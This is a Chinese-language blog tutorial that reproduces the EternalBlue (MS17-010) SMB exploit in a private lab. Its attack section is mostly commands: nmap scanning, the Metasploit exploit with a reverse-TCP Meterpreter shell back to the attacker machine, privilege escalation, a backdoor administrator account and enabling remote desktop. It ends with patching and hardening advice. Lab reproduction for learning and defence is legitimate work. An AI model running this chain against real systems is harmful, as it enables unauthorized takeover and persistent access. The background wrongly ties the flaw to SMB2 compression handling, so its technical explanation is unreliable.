永恒之蓝 (MS17-010)漏洞复现

永恒之蓝漏洞背景

永恒之蓝漏洞首次公开是在2017年4月14日,当时黑客组织“影子经纪人”(Shadow Brokers)泄露了一批来自美国国家安全局(NSA)的网络攻击工具。这批工具中包含了针对Windows系统的多个高危漏洞,其中“永恒之蓝”是最为著名的一个。

永恒之蓝漏洞原理

永恒之蓝漏洞存在于Windows系统的SMBv1协议中,具体来说是在处理SMB2协议的压缩功能时出现的。攻击者可以利用这个漏洞远程执行代码,从而获得对目标系统的完全控制权。漏洞的核心在于SMB协议在处理特定类型的网络数据包时存在缓冲区溢出的问题,这使得攻击者能够在未经身份验证的情况下执行任意代码。
永恒之蓝(MS17-010)漏洞复现环境

为了详细说明如何复现永恒之蓝(MS17-010)漏洞,我们将搭建一个实验环境,包括攻击机和靶机的具体配置和IP地址。请注意,以下操作仅用于教育和研究目的,严禁在未经授权的情况下对任何系统进行攻击。

实验环境

1. 攻击机
  • 操作系统: Kali Linux 64位
  • IP地址: 192.168.6.132
  • 工具: Metasploit Framework, nmap
2. 靶机
  • 操作系统: Windows 7 64位
  • IP地址: 192.168.6.134
  • 状态: 未安装永恒之蓝漏洞补丁,防火墙关闭,445端口开放

准备工作

关闭Windows防火墙,确保445端口开放。

下载并安装Kali Linux:

访问Kali Linux官方网站下载最新版本的ISO镜像文件。

使用虚拟机软件(如VMware或VirtualBox)创建一个新的虚拟机,并安装Kali Linux。

下载并安装Windows 7:

访问MSDN或其他可信来源下载Windows 7的ISO镜像文件。

使用虚拟机软件创建一个新的虚拟机,并安装Windows 7。

确保Windows 7未安装MS17-010漏洞补丁。

永恒之蓝漏洞利用

1. 主机发现

  • 工具: 使用nmap或Metasploit进行主机发现。
  • 命令nmap -sP 192.168.6.0/24这条命令用于扫描局域网内的存活主机。

2. 端口扫描

  • 工具: 使用nmap或Metasploit进行端口扫描。
  • 命令:nmap -sT 192.168.6.134这条命令用于扫描目标主机的开放端口,特别关注445端口。

3. 检测漏洞

  • 工具: 使用Metasploit的扫描模块。(终端输入“msfconsole”进入)
  • 命令:
    use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.6.134run
    这条命令用于检测目标主机是否存在永恒之蓝漏洞。

4. 利用漏洞

  • 工具: 使用Metasploit的攻击模块。
  • 命令:
    use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.6.134set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.6.132set LPORT 4444run
    这些命令用于利用永恒之蓝漏洞,获取目标主机的控制权。

如图所示,我们已经拿到目标机器的shell

5. 提权

  • 工具: Meterpreter
  • 命令:
    getuid
    这条命令用于查看当前会话的用户权限。如果当前用户不是系统管理员,可以尝试提权:
    getsystem
    成功提权后,再次使用‘getuid‘命令检查当前用户是否已经是系统管理员。

6. 创建后门用户

为创建时靶机用户列表

  • 工具: Meterpreter
  • 命令:
    shell chcp 65001 //这个命令用于解决shell中文乱码net user hacker 123456 /add net localgroup administrators hacker /addreg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f //这条命令用于打开靶机的远程桌面连接
    这些命令用于在目标主机上创建一个具有管理员权限的新用户hacker,密码为123456

7. 远程桌面连接

  • 工具: Remote Desktop Connection
  • 步骤:
    1. 在Kali Linux中安装rdesktop工具:sudo apt-get install rdesktop
    2. 使用新创建的管理员用户进行远程桌面连接:rdesktop -u hacker -p 123456 192.168.6.134
成功连接到靶机

注意事项

  1. 合法授权: 确保在合法授权的情况下进行渗透测试,避免非法行为。
  2. 环境隔离: 实验环境应与生产环境隔离,避免意外影响正常业务。
  3. 数据备份: 在进行任何操作前,确保重要数据已经备份。
  4. 安全防护: 实验结束后,立即修复漏洞,关闭不必要的服务和端口,加强系统安全防护。

永恒之蓝漏洞影响范围

永恒之蓝漏洞影响了多个版本的Windows系统,包括但不限于:

  • Windows 7
  • Windows Server 2008
  • Windows XP
  • Windows 10

此外,使用SMBv1协议的其他设备也可能受到影响,例如某些型号的医疗设备。

永恒之蓝漏洞修复方法

1. 安装补丁

  • 微软补丁: 微软已经在2017年3月发布了修复永恒之蓝漏洞的补丁(MS17-010)。建议尽快为所有受影响的Windows系统安装最新的安全更新和补丁。
  • 自动更新: 启用自动更新功能,以便系统能够自动接收和安装最新的安全补丁。

2. 关闭不必要的服务和端口

  • 禁用SMBv1: 如果不需要使用SMBv1协议,可以考虑禁用它,以减少潜在的攻击面。
  • 关闭相关端口: 关闭与SMB相关的端口(如445、137、138、139),以减少攻击面。

3. 增强网络安全

  • 使用防火墙: 配置防火墙规则,限制对内部网络的访问,特别是对关键系统和服务的访问。
  • 实施网络分段: 将网络分成多个子网,以限制潜在攻击的传播范围。

4. 提高系统和网络安全意识

  • 培训员工: 教育员工关于网络安全威胁和最佳实践,例如不点击不明链接、不下载不明文件等。
  • 制定安全策略: 制定并实施网络安全策略,包括密码管理、访问控制和数据保护。

5. 备份重要数据

  • 定期备份: 定期备份重要数据,并确保备份存储在安全的位置,最好是离线存储。
  • 验证备份: 定期验证备份的完整性和可恢复性,以确保在发生数据丢失时能够快速恢复。

6. 使用安全工具

  • 安装杀毒软件: 安装并更新杀毒软件,以检测和清除潜在的恶意软件。
  • 使用漏洞扫描工具: 使用漏洞扫描工具定期扫描系统和网络,以发现和修复潜在的安全漏洞。

总结

永恒之蓝(MS17-010)漏洞是一个严重的安全问题,通过利用Windows系统的SMBv1协议中的漏洞,攻击者可以远程执行代码并完全控制目标系统。为了防止此类攻击,用户和企业应采取一系列综合措施,包括安装最新的安全补丁、关闭不必要的服务和端口、增强网络安全、提高安全意识、定期备份数据以及使用安全工具。通过这些措施,可以显著提高系统的安全性,减少潜在的安全威胁。

Avatar photo
回忆如此多娇

IT资源网与易识IT博客园的开发者,负责维护,更新以上站点。如在使用过程中遇到任何问题都可以通过联系我们页面反馈

文章: 15

留下评论

您的邮箱地址不会被公开。 必填项已用 * 标注